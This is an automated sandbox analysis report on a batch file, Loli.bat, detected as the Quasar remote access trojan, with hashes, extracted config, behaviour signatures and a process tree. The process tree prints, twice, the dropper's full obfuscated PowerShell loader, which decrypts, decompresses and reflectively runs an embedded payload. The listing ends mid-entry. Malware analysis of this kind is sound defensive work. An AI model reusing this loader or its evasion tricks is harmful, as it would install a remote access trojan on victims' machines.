Analysis

  • max time kernel
    75s
  • max time network
    76s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-12-2024 23:10

Errors

Reason
Machine shutdown

General

  • Target

    Loli.bat

  • Size

    7.3MB

  • MD5

    d96987d5645d0a45dc0830e166db747e

  • SHA1

    ffe0eb0aaca891bba84dd508accdbbc2df6d59f9

  • SHA256

    c07250a2ea7a8523defaa97352e48b28106c21a111c81285a9ab0a34843bdc0d

  • SHA512

    43d8c564977621e9368023aa3b7405b52e3d5a0d9e4c4cd4e9755be5023f59d23408cf7d50c388865d4d9215789917d5d099e66614fbb08fab38f65b94c6fa4b

  • SSDEEP

    49152:DaNZgAgNBABjEgJfptzhAZ4TNiuEq9oRmcXMLEg4y07s8HuxsTZAOcHqjEItFHEH:4

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    03816C045CDE13385E227545D99CA4F0BBE6CC9F

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 4 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 12 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 14 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 5 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 27 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    PID:612
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:332
    • C:\Windows\System32\dllhost.exe
      C:\Windows\System32\dllhost.exe /Processid:{a038e0fa-c5ab-49e0-ab17-02cce90d8a30}
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4544
    • C:\Windows\System32\dllhost.exe
      C:\Windows\System32\dllhost.exe /Processid:{c96fb4b8-b5b0-4936-a4a7-8efe6cce33ca}
      2⤵
        PID:6024
      • C:\Users\Admin\Downloads\onibye.exe
        "C:\Users\Admin\Downloads\onibye.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:4388
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:5608
        • C:\Users\Admin\Downloads\onibye.exe
          "C:\Users\Admin\Downloads\onibye.exe"
          2⤵
          • Executes dropped EXE
          • Modifies data under HKEY_USERS
          PID:1804
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:3008
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa38f9055 /state1:0x41c64e6d
            2⤵
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:1060
        • C:\Windows\system32\lsass.exe
          C:\Windows\system32\lsass.exe
          1⤵
          • Drops file in System32 directory
          PID:668
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:960
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:388
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:868
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                PID:1124
                • C:\Windows\system32\taskhostw.exe
                  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                  2⤵
                    PID:1472
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1132
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                    1⤵
                      PID:1140
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                      • Indicator Removal: Clear Windows Event Logs
                      PID:1148
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1252
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1308
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1352
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1388
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2332
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1452
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1552
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1560
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                      1⤵
                                        PID:1660
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                        1⤵
                                          PID:1696
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1732
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                            1⤵
                                              PID:1776
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1812
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1912
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1928
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                    1⤵
                                                      PID:1936
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2008
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2056
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2164
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2188
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2324
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2344
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2352
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  PID:2452
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                  1⤵
                                                                  • Enumerates connected drives
                                                                  PID:2536
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2560
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2576
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2584
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:2804
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:2952
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:3104
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3324
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Modifies registry class
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of FindShellTrayWindow
                                                                                • Suspicious use of SendNotifyMessage
                                                                                PID:3436
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:3424
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    3⤵
                                                                                      PID:2728
                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                      fsutil fsinfo drives
                                                                                      3⤵
                                                                                        PID:3124
                                                                                      • C:\Windows\system32\findstr.exe
                                                                                        findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
                                                                                        3⤵
                                                                                          PID:5016
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          cmd.exe /c echo function Hhsg($LiTn){ Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore '$DeVs=[heSheyshetheehemhe.heSheecheuherheihethey.heCrheyphetheohegherahephehyhe.heAheeheshe]:he:Cherheeahetehe(he);'.Replace('he', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$DeVs.MIHoIHdeIH=IH[IHSIHyIHsIHteIHmIH.IHSIHeIHcuIHriIHtyIH.IHCIHrIHypIHtIHogIHrIHaIHpIHhIHy.IHCiIHpIHheIHrMIHoIHdIHeIH]IH::IHCBIHC;'.Replace('IH', ''); Invoke-Expression -Verbose '$DeVs.Pljaljddljiljnljglj=lj[ljSyljsljtljeljmlj.Sljecljurljiljtljylj.Cljrljypljtljoljgljrljapljhylj.ljPaljddljiljnljgljMljodlje]lj:lj:PljKljCSlj7lj;'.Replace('lj', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$DeVs.KHheHhy=Hh[HhSHhyHhsHhtHhemHh.HhCHhoHhnHhveHhrtHh]:Hh:HhFHhrHhomHhBHhasHheHh6Hh4HhSHhtrHhinHhgHh("gHhbHh5jHhQHhWHhRHhKHhWHhZrHhgHhJHh9HhNHhDNHhseHhnGHhFHhNHhAHhBxHhNHhWxHhFHhsHh2HhKHhy8HhoaHhNHh0RHhp8HhMHh=");'.Replace('Hh', ''); Invoke-Expression -Debug -WarningAction Inquire '$DeVs.IUOVUO=[UOSUOyUOsUOtUOeUOm.UOCUOoUOnUOvUOerUOt]UO::UOFUOrUOoUOmBUOaUOseUO6UO4UOSUOtUOriUOngUO("VUORUOrPUOaUOhUOWUO+UOjUOBtUOXUOOUOTUORUOTxUO0eUOfbUOgUO=UO=");'.Replace('UO', ''); $wkZk=$DeVs.CreateDecryptor(); $NmOc=$wkZk.TransformFinalBlock($LiTn, 0, $LiTn.Length); $wkZk.Dispose(); $DeVs.Dispose(); $NmOc;}function DmpQ($LiTn){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire '$YiDY=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm(,$LiTn);'.Replace('sz', ''); Invoke-Expression -Verbose '$wirR=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm;'.Replace('sz', ''); Invoke-Expression -InformationAction Ignore -Verbose '$UvnG=NRleRlw-RlORlbRljRleRlcRlt RlSRlyRlsRltRlemRl.IRlO.RlCRloRlmRlprRleRlssRliRloRlnRl.RlGZRlipRlSRltrRleaRlmRl($YiDY, [RlIRlO.RlCRloRlmRlpRlrRlesRlsRliRloRlnRl.CRlomRlprRleRlsRlsRlioRlnRlMoRldRleRl]Rl:Rl:DRlecRloRlmpRlreRlsRls);'.Replace('Rl', ''); $UvnG.CopyTo($wirR); $UvnG.Dispose(); $YiDY.Dispose(); $wirR.Dispose(); $wirR.ToArray();}function aQPr($LiTn,$kClj){ Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire -Debug '$oOWF=[WWSWWysWWtWWeWWmWW.WWRWWefWWlWWeWWcWWtWWioWWn.WWAsWWsWWeWWmWWblWWyWW]:WW:WWLWWoWWaWWd([byte[]]$LiTn);'.Replace('WW', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$SUjQ=$oOWF.EClnCltrClyClPCloCliClnClt;'.Replace('Cl', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore -Verbose '$SUjQ.SYISYnvSYoSYkSYeSY(SY$SYnuSYlSYlSY, $kClj);'.Replace('SY', '');}$ktyR = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $ktyR;$AWzc=[System.IO.File]::ReadAllText($ktyR).Split([Environment]::NewLine);foreach ($dMFJ in $AWzc) { if ($dMFJ.StartsWith('gbUIp')) { $OujB=$dMFJ.Substring(5); break; }}$JACM=[string[]]$OujB.Split('\');Invoke-Expression -Verbose -InformationAction Ignore -Debug '$xGG = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Verbose -WarningAction Inquire '$bQz = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Debug -Verbose -InformationAction Ignore -WarningAction Inquire '$urF = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');aQPr $xGG $null;aQPr $bQz $null;aQPr $urF (,[string[]] (''));
                                                                                          3⤵
                                                                                            PID:5032
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell.exe -WindowStyle Hidden
                                                                                            3⤵
                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Drops file in Windows directory
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:4396
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loli.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                              4⤵
                                                                                              • Drops file in Windows directory
                                                                                              PID:952
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                              4⤵
                                                                                                PID:5508
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  5⤵
                                                                                                    PID:5520
                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                    fsutil fsinfo drives
                                                                                                    5⤵
                                                                                                      PID:3988
                                                                                                    • C:\Windows\system32\findstr.exe
                                                                                                      findstr /i /c:"WDS100T2B0A" /c:"DADY HARDDISK" /c:"QEMU HARDDISK"
                                                                                                      5⤵
                                                                                                        PID:1832
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c echo function Hhsg($LiTn){ Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore '$DeVs=[heSheyshetheehemhe.heSheecheuherheihethey.heCrheyphetheohegherahephehyhe.heAheeheshe]:he:Cherheeahetehe(he);'.Replace('he', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$DeVs.MIHoIHdeIH=IH[IHSIHyIHsIHteIHmIH.IHSIHeIHcuIHriIHtyIH.IHCIHrIHypIHtIHogIHrIHaIHpIHhIHy.IHCiIHpIHheIHrMIHoIHdIHeIH]IH::IHCBIHC;'.Replace('IH', ''); Invoke-Expression -Verbose '$DeVs.Pljaljddljiljnljglj=lj[ljSyljsljtljeljmlj.Sljecljurljiljtljylj.Cljrljypljtljoljgljrljapljhylj.ljPaljddljiljnljgljMljodlje]lj:lj:PljKljCSlj7lj;'.Replace('lj', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire '$DeVs.KHheHhy=Hh[HhSHhyHhsHhtHhemHh.HhCHhoHhnHhveHhrtHh]:Hh:HhFHhrHhomHhBHhasHheHh6Hh4HhSHhtrHhinHhgHh("gHhbHh5jHhQHhWHhRHhKHhWHhZrHhgHhJHh9HhNHhDNHhseHhnGHhFHhNHhAHhBxHhNHhWxHhFHhsHh2HhKHhy8HhoaHhNHh0RHhp8HhMHh=");'.Replace('Hh', ''); Invoke-Expression -Debug -WarningAction Inquire '$DeVs.IUOVUO=[UOSUOyUOsUOtUOeUOm.UOCUOoUOnUOvUOerUOt]UO::UOFUOrUOoUOmBUOaUOseUO6UO4UOSUOtUOriUOngUO("VUORUOrPUOaUOhUOWUO+UOjUOBtUOXUOOUOTUORUOTxUO0eUOfbUOgUO=UO=");'.Replace('UO', ''); $wkZk=$DeVs.CreateDecryptor(); $NmOc=$wkZk.TransformFinalBlock($LiTn, 0, $LiTn.Length); $wkZk.Dispose(); $DeVs.Dispose(); $NmOc;}function DmpQ($LiTn){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire '$YiDY=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm(,$LiTn);'.Replace('sz', ''); Invoke-Expression -Verbose '$wirR=Nszeszw-szOszbszjszeszcszt szSszyszssztszemsz.IszO.szMszeszmszorszyszStszrszeszaszm;'.Replace('sz', ''); Invoke-Expression -InformationAction Ignore -Verbose '$UvnG=NRleRlw-RlORlbRljRleRlcRlt RlSRlyRlsRltRlemRl.IRlO.RlCRloRlmRlprRleRlssRliRloRlnRl.RlGZRlipRlSRltrRleaRlmRl($YiDY, [RlIRlO.RlCRloRlmRlpRlrRlesRlsRliRloRlnRl.CRlomRlprRleRlsRlsRlioRlnRlMoRldRleRl]Rl:Rl:DRlecRloRlmpRlreRlsRls);'.Replace('Rl', ''); $UvnG.CopyTo($wirR); $UvnG.Dispose(); $YiDY.Dispose(); $wirR.Dispose(); $wirR.ToArray();}function aQPr($LiTn,$kClj){ Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire -Debug '$oOWF=[WWSWWysWWtWWeWWmWW.WWRWWefWWlWWeWWcWWtWWioWWn.WWAsWWsWWeWWmWWblWWyWW]:WW:WWLWWoWWaWWd([byte[]]$LiTn);'.Replace('WW', ''); Invoke-Expression -Debug -InformationAction Ignore -WarningAction Inquire -Verbose '$SUjQ=$oOWF.EClnCltrClyClPCloCliClnClt;'.Replace('Cl', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore -Verbose '$SUjQ.SYISYnvSYoSYkSYeSY(SY$SYnuSYlSYlSY, $kClj);'.Replace('SY', '');}$ktyR = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $ktyR;$AWzc=[System.IO.File]::ReadAllText($ktyR).Split([Environment]::NewLine);foreach ($dMFJ in $AWzc) { if ($dMFJ.StartsWith('gbUIp')) { $OujB=$dMFJ.Substring(5); break; }}$JACM=[string[]]$OujB.Split('\');Invoke-Expression -Verbose -InformationAction Ignore -Debug '$xGG = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Verbose -WarningAction Inquire '$bQz = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');Invoke-Expression -Debug -Verbose -InformationAction Ignore -WarningAction Inquire '$urF = DmpQ (Hhsg ([JtCJtonJtvJteJtrJttJt]Jt::JtFJtrJtoJtmJtBaJtseJt64JtSJttJtrJtinJtg($JACM[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Jt', '');aQPr $xGG $null;aQPr $bQz $null;aQPr $urF (,[string[]] (''));
                                                                                                        5⤵
                                                                                                          PID:5644
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell.exe -WindowStyle Hidden
                                                                                                          5⤵
                                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                          • Blocklisted process makes network request
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious use of SetThreadContext
                                                                                                          • Drops file in Windows directory
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          PID:5752
                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                            "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
                                                                                                            6⤵
                                                                                                              PID:6088
                                                                                                            • C:\Windows\System32\shutdown.exe
                                                                                                              "C:\Windows\System32\shutdown.exe" /s /t 0
                                                                                                              6⤵
                                                                                                                PID:5872
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  7⤵
                                                                                                                    PID:5288
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
                                                                                                          2⤵
                                                                                                          • Enumerates system info in registry
                                                                                                          • NTFS ADS
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:3904
                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9c7e746f8,0x7ff9c7e74708,0x7ff9c7e74718
                                                                                                            3⤵
                                                                                                              PID:1676
                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1860 /prefetch:2
                                                                                                              3⤵
                                                                                                                PID:2600
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3
                                                                                                                3⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:2940
                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2752 /prefetch:8
                                                                                                                3⤵
                                                                                                                  PID:1376
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
                                                                                                                  3⤵
                                                                                                                    PID:4616
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1832,2832068174312409501,16628218634729610546,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
                                                                                                                    3⤵
                                                                                                                      PID:3164
                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
